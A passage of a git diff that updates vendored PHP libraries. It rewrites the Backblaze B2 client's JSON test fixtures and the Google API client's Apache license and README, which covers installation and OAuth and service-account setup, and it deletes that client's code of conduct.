"4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", + "fileName": "testfile.bin", + "size": 140827, + "uploadTimestamp": 1454256286000 + }, + { + "action": "upload", + "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", + "fileName": "testfile.bin", + "size": 140827, + "uploadTimestamp": 1454256286000 + },{ + "action": "upload", + "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", + "fileName": "testfile.bin", + "size": 140827, + "uploadTimestamp": 1454256286000 + }, + { + "action": "upload", + "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", + "fileName": "testfile.bin", + "size": 140827, + "uploadTimestamp": 1454256286000 + }, + { + "action": "upload", + "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", + "fileName": "testfile.bin", + "size": 140827, + "uploadTimestamp": 1454256286000 + }, + { + "action": "upload", + "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", + "fileName": "testfile.bin", + "size": 140827, + "uploadTimestamp": 1454256286000 + }, + { + "action": "upload", + "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", + "fileName": "testfile.bin", + "size": 140827, + "uploadTimestamp": 1454256286000 + }, + { + "action": "upload", + "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", + "fileName": "testfile.bin", + "size": 140827, + "uploadTimestamp": 1454256286000 + }, + { + "action": "upload", + "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", + "fileName": "testfile.bin", + "size": 140827, + "uploadTimestamp": 1454256286000 + }, + { + "action": "upload", + "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", + "fileName": "testfile.bin", + "size": 140827, + "uploadTimestamp": 1454256286000 + }, + { + "action": "upload", + "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", + "fileName": "testfile.bin", + "size": 140827, + "uploadTimestamp": 1454256286000 + }, + { + "action": "upload", + "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", + "fileName": "testfile.bin", + "size": 140827, + "uploadTimestamp": 1454256286000 + },{ + "action": "upload", + "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", + "fileName": "testfile.bin", + "size": 140827, + "uploadTimestamp": 1454256286000 + }, + { + "action": "upload", + "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", + "fileName": "testfile.bin", + "size": 140827, + "uploadTimestamp": 1454256286000 + }, + { + "action": "upload", + "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", + "fileName": "testfile.bin", + "size": 140827, + "uploadTimestamp": 1454256286000 + }, + { + "action": "upload", + "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", + "fileName": "testfile.bin", + "size": 140827, + "uploadTimestamp": 1454256286000 + }, + { + "action": "upload", + "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", + "fileName": "testfile.bin", + "size": 140827, + "uploadTimestamp": 1454256286000 + }, + { + "action": "upload", + "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", + "fileName": "testfile.bin", + "size": 140827, + "uploadTimestamp": 1454256286000 + }, + { + "action": "upload", + "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", + "fileName": "testfile.bin", + "size": 140827, + "uploadTimestamp": 1454256286000 + }, + { + "action": "upload", + "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", + "fileName": "testfile.bin", + "size": 140827, + "uploadTimestamp": 1454256286000 + }, + { + "action": "upload", + "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", + "fileName": "testfile.bin", + "size": 140827, + "uploadTimestamp": 1454256286000 + }, + { + "action": "upload", + "fileId": "4_z4c2b957661hy9c825f260e1b_f115af4dca081b246_d20160131_m160446_f001_v0011017_t0002", + "fileName": "testfile.bin", + "size": 140827, + "uploadTimestamp": 1454256286000 + } + ], + "nextFileName": null +} diff --git a/vendor/gliterd/backblaze-b2/tests/responses/list_files_single.json b/vendor/gliterd/backblaze-b2/tests/responses/list_files_single.json index bc465744d7..aa5f28b01a 100644 --- a/vendor/gliterd/backblaze-b2/tests/responses/list_files_single.json +++ b/vendor/gliterd/backblaze-b2/tests/responses/list_files_single.json @@ -1,18 +1,18 @@ -{ - "files": [ - { - "accountId": "accountId", - "bucketId": "bucketId", - "contentLength": 20, - "contentSha1": "bc77b0349d325be71ed2ca26d5e68173210e9e18", - "contentType": "application/octet-stream", - "fileId": "4_z4c2b953461da9c825f260e1b_f1114dbf5bg9707e8_d20160206_m012226_c001_v1111017_t0010", - "fileInfo": { - "src_last_modified_millis": "1454721688784" - }, - "action": "upload", - "uploadTimestamp": "1465983870000", - "fileName": "Test file.bin" - } - ] +{ + "files": [ + { + "accountId": "accountId", + "bucketId": "bucketId", + "contentLength": 20, + "contentSha1": "bc77b0349d325be71ed2ca26d5e68173210e9e18", + "contentType": "application/octet-stream", + "fileId": "4_z4c2b953461da9c825f260e1b_f1114dbf5bg9707e8_d20160206_m012226_c001_v1111017_t0010", + "fileInfo": { + "src_last_modified_millis": "1454721688784" + }, + "action": "upload", + "uploadTimestamp": "1465983870000", + "fileName": "Test file.bin" + } + ] } \ No newline at end of file diff --git a/vendor/gliterd/backblaze-b2/tests/responses/update_bucket_to_private.json b/vendor/gliterd/backblaze-b2/tests/responses/update_bucket_to_private.json index 938dc71cf0..1de222b254 100644 --- a/vendor/gliterd/backblaze-b2/tests/responses/update_bucket_to_private.json +++ b/vendor/gliterd/backblaze-b2/tests/responses/update_bucket_to_private.json @@ -1,6 +1,6 @@ -{ - "accountId": "accountId", - "bucketId": "bucketId", - "bucketName": "test-bucket", - "bucketType": "allPrivate" +{ + "accountId": "accountId", + "bucketId": "bucketId", + "bucketName": "test-bucket", + "bucketType": "allPrivate" } \ No newline at end of file diff --git a/vendor/gliterd/backblaze-b2/tests/responses/update_bucket_to_public.json b/vendor/gliterd/backblaze-b2/tests/responses/update_bucket_to_public.json index 3eb3ae03b2..ee57826985 100644 --- a/vendor/gliterd/backblaze-b2/tests/responses/update_bucket_to_public.json +++ b/vendor/gliterd/backblaze-b2/tests/responses/update_bucket_to_public.json @@ -1,6 +1,6 @@ -{ - "accountId": "accountId", - "bucketId": "bucketId", - "bucketName": "test-bucket", - "bucketType": "allPublic" +{ + "accountId": "accountId", + "bucketId": "bucketId", + "bucketName": "test-bucket", + "bucketType": "allPublic" } \ No newline at end of file diff --git a/vendor/gliterd/backblaze-b2/tests/responses/upload.json b/vendor/gliterd/backblaze-b2/tests/responses/upload.json index c6f669bd78..601eafe427 100644 --- a/vendor/gliterd/backblaze-b2/tests/responses/upload.json +++ b/vendor/gliterd/backblaze-b2/tests/responses/upload.json @@ -1,12 +1,12 @@ -{ - "accountId": "accountId", - "bucketId": "bucketId", - "contentLength": 555, - "contentSha1": "0f4dd743cc9c501c70b6e3d2e033e179926ee768", - "contentType": "application/octet-stream", - "fileId": "fileId", - "fileInfo": { - "src_last_modified_millis": "1453326047773" - }, - "fileName": "testfile.bin" +{ + "accountId": "accountId", + "bucketId": "bucketId", + "contentLength": 555, + "contentSha1": "0f4dd743cc9c501c70b6e3d2e033e179926ee768", + "contentType": "application/octet-stream", + "fileId": "fileId", + "fileInfo": { + "src_last_modified_millis": "1453326047773" + }, + "fileName": "testfile.bin" } \ No newline at end of file diff --git a/vendor/google/apiclient/CODE_OF_CONDUCT.md b/vendor/google/apiclient/CODE_OF_CONDUCT.md deleted file mode 100644 index 77fbc239f8..0000000000 --- a/vendor/google/apiclient/CODE_OF_CONDUCT.md +++ /dev/null @@ -1,43 +0,0 @@ -# Contributor Code of Conduct - -As contributors and maintainers of this project, -and in the interest of fostering an open and welcoming community, -we pledge to respect all people who contribute through reporting issues, -posting feature requests, updating documentation, -submitting pull requests or patches, and other activities. - -We are committed to making participation in this project -a harassment-free experience for everyone, -regardless of level of experience, gender, gender identity and expression, -sexual orientation, disability, personal appearance, -body size, race, ethnicity, age, religion, or nationality. - -Examples of unacceptable behavior by participants include: - -* The use of sexualized language or imagery -* Personal attacks -* Trolling or insulting/derogatory comments -* Public or private harassment -* Publishing other's private information, -such as physical or electronic -addresses, without explicit permission -* Other unethical or unprofessional conduct. - -Project maintainers have the right and responsibility to remove, edit, or reject -comments, commits, code, wiki edits, issues, and other contributions -that are not aligned to this Code of Conduct. -By adopting this Code of Conduct, -project maintainers commit themselves to fairly and consistently -applying these principles to every aspect of managing this project. -Project maintainers who do not follow or enforce the Code of Conduct -may be permanently removed from the project team. - -This code of conduct applies both within project spaces and in public spaces -when an individual is representing the project or its community. - -Instances of abusive, harassing, or otherwise unacceptable behavior -may be reported by opening an issue -or contacting one or more of the project maintainers. - -This Code of Conduct is adapted from the [Contributor Covenant](http://contributor-covenant.org), version 1.2.0, -available at [http://contributor-covenant.org/version/1/2/0/](http://contributor-covenant.org/version/1/2/0/) diff --git a/vendor/google/apiclient/LICENSE b/vendor/google/apiclient/LICENSE index 208badbbde..a148ba564b 100644 --- a/vendor/google/apiclient/LICENSE +++ b/vendor/google/apiclient/LICENSE @@ -1,203 +1,203 @@ -Apache License -Version 2.0, January 2004 -http://www.apache.org/licenses/ - -TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - -1. Definitions. - -"License" shall mean the terms and conditions for use, reproduction, -and distribution as defined by Sections 1 through 9 of this document. - -"Licensor" shall mean the copyright owner or entity authorized by -the copyright owner that is granting the License. - -"Legal Entity" shall mean the union of the acting entity and all -other entities that control, are controlled by, or are under common -control with that entity. For the purposes of this definition, -"control" means (i) the power, direct or indirect, to cause the -direction or management of such entity, whether by contract or -otherwise, or (ii) ownership of fifty percent (50%) or more of the -outstanding shares, or (iii) beneficial ownership of such entity. - -"You" (or "Your") shall mean an individual or Legal Entity -exercising permissions granted by this License. - -"Source" form shall mean the preferred form for making modifications, -including but not limited to software source code, documentation -source, and configuration files. - -"Object" form shall mean any form resulting from mechanical -transformation or translation of a Source form, including but -not limited to compiled object code, generated documentation, -and conversions to other media types. - -"Work" shall mean the work of authorship, whether in Source or -Object form, made available under the License, as indicated by a -copyright notice that is included in or attached to the work -(an example is provided in the Appendix below). - -"Derivative Works" shall mean any work, whether in Source or Object -form, that is based on (or derived from) the Work and for which the -editorial revisions, annotations, elaborations, or other modifications -represent, as a whole, an original work of authorship. For the purposes -of this License, Derivative Works shall not include works that remain -separable from, or merely link (or bind by name) to the interfaces of, -the Work and Derivative Works thereof. - -"Contribution" shall mean any work of authorship, including -the original version of the Work and any modifications or additions -to that Work or Derivative Works thereof, that is intentionally -submitted to Licensor for inclusion in the Work by the copyright owner -or by an individual or Legal Entity authorized to submit on behalf of -the copyright owner. For the purposes of this definition, "submitted" -means any form of electronic, verbal, or written communication sent -to the Licensor or its representatives, including but not limited to -communication on electronic mailing lists, source code control systems, -and issue tracking systems that are managed by, or on behalf of, the -Licensor for the purpose of discussing and improving the Work, but -excluding communication that is conspicuously marked or otherwise -designated in writing by the copyright owner as "Not a Contribution." - -"Contributor" shall mean Licensor and any individual or Legal Entity -on behalf of whom a Contribution has been received by Licensor and -subsequently incorporated within the Work. - -2. Grant of Copyright License. Subject to the terms and conditions of -this License, each Contributor hereby grants to You a perpetual, -worldwide, non-exclusive, no-charge, royalty-free, irrevocable -copyright license to reproduce, prepare Derivative Works of, -publicly display, publicly perform, sublicense, and distribute the -Work and such Derivative Works in Source or Object form. - -3. Grant of Patent License. Subject to the terms and conditions of -this License, each Contributor hereby grants to You a perpetual, -worldwide, non-exclusive, no-charge, royalty-free, irrevocable -(except as stated in this section) patent license to make, have made, -use, offer to sell, sell, import, and otherwise transfer the Work, -where such license applies only to those patent claims licensable -by such Contributor that are necessarily infringed by their -Contribution(s) alone or by combination of their Contribution(s) -with the Work to which such Contribution(s) was submitted. If You -institute patent litigation against any entity (including a -cross-claim or counterclaim in a lawsuit) alleging that the Work -or a Contribution incorporated within the Work constitutes direct -or contributory patent infringement, then any patent licenses -granted to You under this License for that Work shall terminate -as of the date such litigation is filed. - -4. Redistribution. You may reproduce and distribute copies of the -Work or Derivative Works thereof in any medium, with or without -modifications, and in Source or Object form, provided that You -meet the following conditions: - -(a) You must give any other recipients of the Work or -Derivative Works a copy of this License; and - -(b) You must cause any modified files to carry prominent notices -stating that You changed the files; and - -(c) You must retain, in the Source form of any Derivative Works -that You distribute, all copyright, patent, trademark, and -attribution notices from the Source form of the Work, -excluding those notices that do not pertain to any part of -the Derivative Works; and - -(d) If the Work includes a "NOTICE" text file as part of its -distribution, then any Derivative Works that You distribute must -include a readable copy of the attribution notices contained -within such NOTICE file, excluding those notices that do not -pertain to any part of the Derivative Works, in at least one -of the following places: within a NOTICE text file distributed -as part of the Derivative Works; within the Source form or -documentation, if provided along with the Derivative Works; or, -within a display generated by the Derivative Works, if and -wherever such third-party notices normally appear. The contents -of the NOTICE file are for informational purposes only and -do not modify the License. You may add Your own attribution -notices within Derivative Works that You distribute, alongside -or as an addendum to the NOTICE text from the Work, provided -that such additional attribution notices cannot be construed -as modifying the License. - -You may add Your own copyright statement to Your modifications and -may provide additional or different license terms and conditions -for use, reproduction, or distribution of Your modifications, or -for any such Derivative Works as a whole, provided Your use, -reproduction, and distribution of the Work otherwise complies with -the conditions stated in this License. - -5. Submission of Contributions. Unless You explicitly state otherwise, -any Contribution intentionally submitted for inclusion in the Work -by You to the Licensor shall be under the terms and conditions of -this License, without any additional terms or conditions. -Notwithstanding the above, nothing herein shall supersede or modify -the terms of any separate license agreement you may have executed -with Licensor regarding such Contributions. - -6. Trademarks. This License does not grant permission to use the trade -names, trademarks, service marks, or product names of the Licensor, -except as required for reasonable and customary use in describing the -origin of the Work and reproducing the content of the NOTICE file. - -7. Disclaimer of Warranty. Unless required by applicable law or -agreed to in writing, Licensor provides the Work (and each -Contributor provides its Contributions) on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or -implied, including, without limitation, any warranties or conditions -of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A -PARTICULAR PURPOSE. You are solely responsible for determining the -appropriateness of using or redistributing the Work and assume any -risks associated with Your exercise of permissions under this License. - -8. Limitation of Liability. In no event and under no legal theory, -whether in tort (including negligence), contract, or otherwise, -unless required by applicable law (such as deliberate and grossly -negligent acts) or agreed to in writing, shall any Contributor be -liable to You for damages, including any direct, indirect, special, -incidental, or consequential damages of any character arising as a -result of this License or out of the use or inability to use the -Work (including but not limited to damages for loss of goodwill, -work stoppage, computer failure or malfunction, or any and all -other commercial damages or losses), even if such Contributor -has been advised of the possibility of such damages. - -9. Accepting Warranty or Additional Liability. While redistributing -the Work or Derivative Works thereof, You may choose to offer, -and charge a fee for, acceptance of support, warranty, indemnity, -or other liability obligations and/or rights consistent with this -License. However, in accepting such obligations, You may act only -on Your own behalf and on Your sole responsibility, not on behalf -of any other Contributor, and only if You agree to indemnify, -defend, and hold each Contributor harmless for any liability -incurred by, or claims asserted against, such Contributor by reason -of your accepting any such warranty or additional liability. - -END OF TERMS AND CONDITIONS - -APPENDIX: How to apply the Apache License to your work. - -To apply the Apache License to your work, attach the following -boilerplate notice, with the fields enclosed by brackets "[]" -replaced with your own identifying information. (Don't include -the brackets!) The text should be enclosed in the appropriate -comment syntax for the file format. We also recommend that a -file or class name and description of purpose be included on the -same "printed page" as the copyright notice for easier -identification within third-party archives. - -Copyright [yyyy] [name of copyright owner] - -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - -http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. - - +Apache License +Version 2.0, January 2004 +http://www.apache.org/licenses/ + +TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + +1. Definitions. + +"License" shall mean the terms and conditions for use, reproduction, +and distribution as defined by Sections 1 through 9 of this document. + +"Licensor" shall mean the copyright owner or entity authorized by +the copyright owner that is granting the License. + +"Legal Entity" shall mean the union of the acting entity and all +other entities that control, are controlled by, or are under common +control with that entity. For the purposes of this definition, +"control" means (i) the power, direct or indirect, to cause the +direction or management of such entity, whether by contract or +otherwise, or (ii) ownership of fifty percent (50%) or more of the +outstanding shares, or (iii) beneficial ownership of such entity. + +"You" (or "Your") shall mean an individual or Legal Entity +exercising permissions granted by this License. + +"Source" form shall mean the preferred form for making modifications, +including but not limited to software source code, documentation +source, and configuration files. + +"Object" form shall mean any form resulting from mechanical +transformation or translation of a Source form, including but +not limited to compiled object code, generated documentation, +and conversions to other media types. + +"Work" shall mean the work of authorship, whether in Source or +Object form, made available under the License, as indicated by a +copyright notice that is included in or attached to the work +(an example is provided in the Appendix below). + +"Derivative Works" shall mean any work, whether in Source or Object +form, that is based on (or derived from) the Work and for which the +editorial revisions, annotations, elaborations, or other modifications +represent, as a whole, an original work of authorship. For the purposes +of this License, Derivative Works shall not include works that remain +separable from, or merely link (or bind by name) to the interfaces of, +the Work and Derivative Works thereof. + +"Contribution" shall mean any work of authorship, including +the original version of the Work and any modifications or additions +to that Work or Derivative Works thereof, that is intentionally +submitted to Licensor for inclusion in the Work by the copyright owner +or by an individual or Legal Entity authorized to submit on behalf of +the copyright owner. For the purposes of this definition, "submitted" +means any form of electronic, verbal, or written communication sent +to the Licensor or its representatives, including but not limited to +communication on electronic mailing lists, source code control systems, +and issue tracking systems that are managed by, or on behalf of, the +Licensor for the purpose of discussing and improving the Work, but +excluding communication that is conspicuously marked or otherwise +designated in writing by the copyright owner as "Not a Contribution." + +"Contributor" shall mean Licensor and any individual or Legal Entity +on behalf of whom a Contribution has been received by Licensor and +subsequently incorporated within the Work. + +2. Grant of Copyright License. Subject to the terms and conditions of +this License, each Contributor hereby grants to You a perpetual, +worldwide, non-exclusive, no-charge, royalty-free, irrevocable +copyright license to reproduce, prepare Derivative Works of, +publicly display, publicly perform, sublicense, and distribute the +Work and such Derivative Works in Source or Object form. + +3. Grant of Patent License. Subject to the terms and conditions of +this License, each Contributor hereby grants to You a perpetual, +worldwide, non-exclusive, no-charge, royalty-free, irrevocable +(except as stated in this section) patent license to make, have made, +use, offer to sell, sell, import, and otherwise transfer the Work, +where such license applies only to those patent claims licensable +by such Contributor that are necessarily infringed by their +Contribution(s) alone or by combination of their Contribution(s) +with the Work to which such Contribution(s) was submitted. If You +institute patent litigation against any entity (including a +cross-claim or counterclaim in a lawsuit) alleging that the Work +or a Contribution incorporated within the Work constitutes direct +or contributory patent infringement, then any patent licenses +granted to You under this License for that Work shall terminate +as of the date such litigation is filed. + +4. Redistribution. You may reproduce and distribute copies of the +Work or Derivative Works thereof in any medium, with or without +modifications, and in Source or Object form, provided that You +meet the following conditions: + +(a) You must give any other recipients of the Work or +Derivative Works a copy of this License; and + +(b) You must cause any modified files to carry prominent notices +stating that You changed the files; and + +(c) You must retain, in the Source form of any Derivative Works +that You distribute, all copyright, patent, trademark, and +attribution notices from the Source form of the Work, +excluding those notices that do not pertain to any part of +the Derivative Works; and + +(d) If the Work includes a "NOTICE" text file as part of its +distribution, then any Derivative Works that You distribute must +include a readable copy of the attribution notices contained +within such NOTICE file, excluding those notices that do not +pertain to any part of the Derivative Works, in at least one +of the following places: within a NOTICE text file distributed +as part of the Derivative Works; within the Source form or +documentation, if provided along with the Derivative Works; or, +within a display generated by the Derivative Works, if and +wherever such third-party notices normally appear. The contents +of the NOTICE file are for informational purposes only and +do not modify the License. You may add Your own attribution +notices within Derivative Works that You distribute, alongside +or as an addendum to the NOTICE text from the Work, provided +that such additional attribution notices cannot be construed +as modifying the License. + +You may add Your own copyright statement to Your modifications and +may provide additional or different license terms and conditions +for use, reproduction, or distribution of Your modifications, or +for any such Derivative Works as a whole, provided Your use, +reproduction, and distribution of the Work otherwise complies with +the conditions stated in this License. + +5. Submission of Contributions. Unless You explicitly state otherwise, +any Contribution intentionally submitted for inclusion in the Work +by You to the Licensor shall be under the terms and conditions of +this License, without any additional terms or conditions. +Notwithstanding the above, nothing herein shall supersede or modify +the terms of any separate license agreement you may have executed +with Licensor regarding such Contributions. + +6. Trademarks. This License does not grant permission to use the trade +names, trademarks, service marks, or product names of the Licensor, +except as required for reasonable and customary use in describing the +origin of the Work and reproducing the content of the NOTICE file. + +7. Disclaimer of Warranty. Unless required by applicable law or +agreed to in writing, Licensor provides the Work (and each +Contributor provides its Contributions) on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or +implied, including, without limitation, any warranties or conditions +of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A +PARTICULAR PURPOSE. You are solely responsible for determining the +appropriateness of using or redistributing the Work and assume any +risks associated with Your exercise of permissions under this License. + +8. Limitation of Liability. In no event and under no legal theory, +whether in tort (including negligence), contract, or otherwise, +unless required by applicable law (such as deliberate and grossly +negligent acts) or agreed to in writing, shall any Contributor be +liable to You for damages, including any direct, indirect, special, +incidental, or consequential damages of any character arising as a +result of this License or out of the use or inability to use the +Work (including but not limited to damages for loss of goodwill, +work stoppage, computer failure or malfunction, or any and all +other commercial damages or losses), even if such Contributor +has been advised of the possibility of such damages. + +9. Accepting Warranty or Additional Liability. While redistributing +the Work or Derivative Works thereof, You may choose to offer, +and charge a fee for, acceptance of support, warranty, indemnity, +or other liability obligations and/or rights consistent with this +License. However, in accepting such obligations, You may act only +on Your own behalf and on Your sole responsibility, not on behalf +of any other Contributor, and only if You agree to indemnify, +defend, and hold each Contributor harmless for any liability +incurred by, or claims asserted against, such Contributor by reason +of your accepting any such warranty or additional liability. + +END OF TERMS AND CONDITIONS + +APPENDIX: How to apply the Apache License to your work. + +To apply the Apache License to your work, attach the following +boilerplate notice, with the fields enclosed by brackets "[]" +replaced with your own identifying information. (Don't include +the brackets!) The text should be enclosed in the appropriate +comment syntax for the file format. We also recommend that a +file or class name and description of purpose be included on the +same "printed page" as the copyright notice for easier +identification within third-party archives. + +Copyright [yyyy] [name of copyright owner] + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + +http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. + + diff --git a/vendor/google/apiclient/README.md b/vendor/google/apiclient/README.md index b88b4a173f..97dec0ddd1 100644 --- a/vendor/google/apiclient/README.md +++ b/vendor/google/apiclient/README.md @@ -1,477 +1,477 @@ -![](https://github.com/googleapis/google-api-php-client/workflows/.github/workflows/tests.yml/badge.svg) - -# Google APIs Client Library for PHP # - -
                                -
                                Reference Docs
                                https://googleapis.github.io/google-api-php-client/master/
                                -
                                License
                                Apache 2.0
                                -
                                - -The Google API Client Library enables you to work with Google APIs such as Gmail, Drive or YouTube on your server. - -These client libraries are officially supported by Google. However, the libraries are considered complete and are in maintenance mode. This means that we will address critical bugs and security issues but will not add any new features. - -## Google Cloud Platform - -For Google Cloud Platform APIs such as [Datastore][cloud-datastore], [Cloud Storage][cloud-storage], [Pub/Sub][cloud-pubsub], and [Compute Engine][cloud-compute], we recommend using the Google Cloud client libraries. For a complete list of supported Google Cloud client libraries, see [googleapis/google-cloud-php](https://github.com/googleapis/google-cloud-php). - -[cloud-datastore]: https://github.com/googleapis/google-cloud-php-datastore -[cloud-pubsub]: https://github.com/googleapis/google-cloud-php-pubsub -[cloud-storage]: https://github.com/googleapis/google-cloud-php-storage -[cloud-compute]: https://github.com/googleapis/google-cloud-php-compute - -## Requirements ## -* [PHP 5.6.0 or higher](https://www.php.net/) - -## Developer Documentation ## - -The [docs folder](docs/) provides detailed guides for using this library. - -## Installation ## - -You can use **Composer** or simply **Download the Release** - -### Composer - -The preferred method is via [composer](https://getcomposer.org/). Follow the -[installation instructions](https://getcomposer.org/doc/00-intro.md) if you do not already have -composer installed. - -Once composer is installed, execute the following command in your project root to install this library: - -```sh -composer require google/apiclient:^2.11 -``` - -Finally, be sure to include the autoloader: - -```php -require_once '/path/to/your-project/vendor/autoload.php'; -``` - -This library relies on `google/apiclient-services`. That library provides up-to-date API wrappers for a large number of Google APIs. In order that users may make use of the latest API clients, this library does not pin to a specific version of `google/apiclient-services`. **In order to prevent the accidental installation of API wrappers with breaking changes**, it is highly recommended that you pin to the [latest version](https://github.com/googleapis/google-api-php-client-services/releases) yourself prior to using this library in production. - -#### Cleaning up unused services - -There are over 200 Google API services. The chances are good that you will not -want them all. In order to avoid shipping these dependencies with your code, -you can run the `Google\Task\Composer::cleanup` task and specify the services -you want to keep in `composer.json`: - -```json -{ - "require": { - "google/apiclient": "^2.11" - }, - "scripts": { - "pre-autoload-dump": "Google\\Task\\Composer::cleanup" - }, - "extra": { - "google/apiclient-services": [ - "Drive", - "YouTube" - ] - } -} -``` - -This example will remove all services other than "Drive" and "YouTube" when -`composer update` or a fresh `composer install` is run. - -**IMPORTANT**: If you add any services back in `composer.json`, you will need to -remove the `vendor/google/apiclient-services` directory explicity for the -change you made to have effect: - -```sh -rm -r vendor/google/apiclient-services -composer update -``` - -**NOTE**: This command performs an exact match on the service name, so to keep -`YouTubeReporting` and `YouTubeAnalytics` as well, you'd need to add each of -them explicitly: - -```json -{ - "extra": { - "google/apiclient-services": [ - "Drive", - "YouTube", - "YouTubeAnalytics", - "YouTubeReporting" - ] - } -} -``` - -### Download the Release - -If you prefer not to use composer, you can download the package in its entirety. The [Releases](https://github.com/googleapis/google-api-php-client/releases) page lists all stable versions. Download any file -with the name `google-api-php-client-[RELEASE_NAME].zip` for a package including this library and its dependencies. - -Uncompress the zip file you download, and include the autoloader in your project: - -```php -require_once '/path/to/google-api-php-client/vendor/autoload.php'; -``` - -For additional installation and setup instructions, see [the documentation](docs/). - -## Examples ## -See the [`examples/`](examples) directory for examples of the key client features. You can -view them in your browser by running the php built-in web server. - -``` -$ php -S localhost:8000 -t examples/ -``` - -And then browsing to the host and port you specified -(in the above example, `http://localhost:8000`). - -### Basic Example ### - -```php -// include your composer dependencies -require_once 'vendor/autoload.php'; - -$client = new Google\Client(); -$client->setApplicationName("Client_Library_Examples"); -$client->setDeveloperKey("YOUR_APP_KEY"); - -$service = new Google\Service\Books($client); -$query = 'Henry David Thoreau'; -$optParams = [ - 'filter' => 'free-ebooks', -]; -$results = $service->volumes->listVolumes($query, $optParams); - -foreach ($results->getItems() as $item) { - echo $item['volumeInfo']['title'], "
                                \n"; -} -``` - -### Authentication with OAuth ### - -> An example of this can be seen in [`examples/simple-file-upload.php`](examples/simple-file-upload.php). - -1. Follow the instructions to [Create Web Application Credentials](docs/oauth-web.md#create-authorization-credentials) -1. Download the JSON credentials -1. Set the path to these credentials using `Google\Client::setAuthConfig`: - - ```php - $client = new Google\Client(); - $client->setAuthConfig('/path/to/client_credentials.json'); - ``` - -1. Set the scopes required for the API you are going to call - - ```php - $client->addScope(Google\Service\Drive::DRIVE); - ``` - -1. Set your application's redirect URI - - ```php - // Your redirect URI can be any registered URI, but in this example - // we redirect back to this same page - $redirect_uri = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']; - $client->setRedirectUri($redirect_uri); - ``` - -1. In the script handling the redirect URI, exchange the authorization code for an access token: - - ```php - if (isset($_GET['code'])) { - $token = $client->fetchAccessTokenWithAuthCode($_GET['code']); - } - ``` - -### Authentication with Service Accounts ### - -> An example of this can be seen in [`examples/service-account.php`](examples/service-account.php). - -Some APIs -(such as the [YouTube Data API](https://developers.google.com/youtube/v3/)) do -not support service accounts. Check with the specific API documentation if API -calls return unexpected 401 or 403 errors. - -1. Follow the instructions to [Create a Service Account](docs/oauth-server.md#creating-a-service-account) -1. Download the JSON credentials -1. Set the path to these credentials using the `GOOGLE_APPLICATION_CREDENTIALS` environment variable: - - ```php - putenv('GOOGLE_APPLICATION_CREDENTIALS=/path/to/service-account.json'); - ``` - -1. Tell the Google client to use your service account credentials to authenticate: - - ```php - $client = new Google\Client(); - $client->useApplicationDefaultCredentials(); - ``` - -1. Set the scopes required for the API you are going to call - - ```php - $client->addScope(Google\Service\Drive::DRIVE); - ``` - -1. If you have delegated domain-wide access to the service account and you want to impersonate a user account, specify the email address of the user account using the method setSubject: - - ```php - $client->setSubject($user_to_impersonate); - ``` - -#### How to use a specific JSON key - -If you want to a specific JSON key instead of using `GOOGLE_APPLICATION_CREDENTIALS` environment variable, you can do this: - -```php -$jsonKey = [ - 'type' => 'service_account', - // ... -]; -$client = new Google\Client(); -$client->setAuthConfig($jsonKey); -``` - -### Making Requests ### - -The classes used to call the API in [google-api-php-client-services](https://github.com/googleapis/google-api-php-client-services) are autogenerated. They map 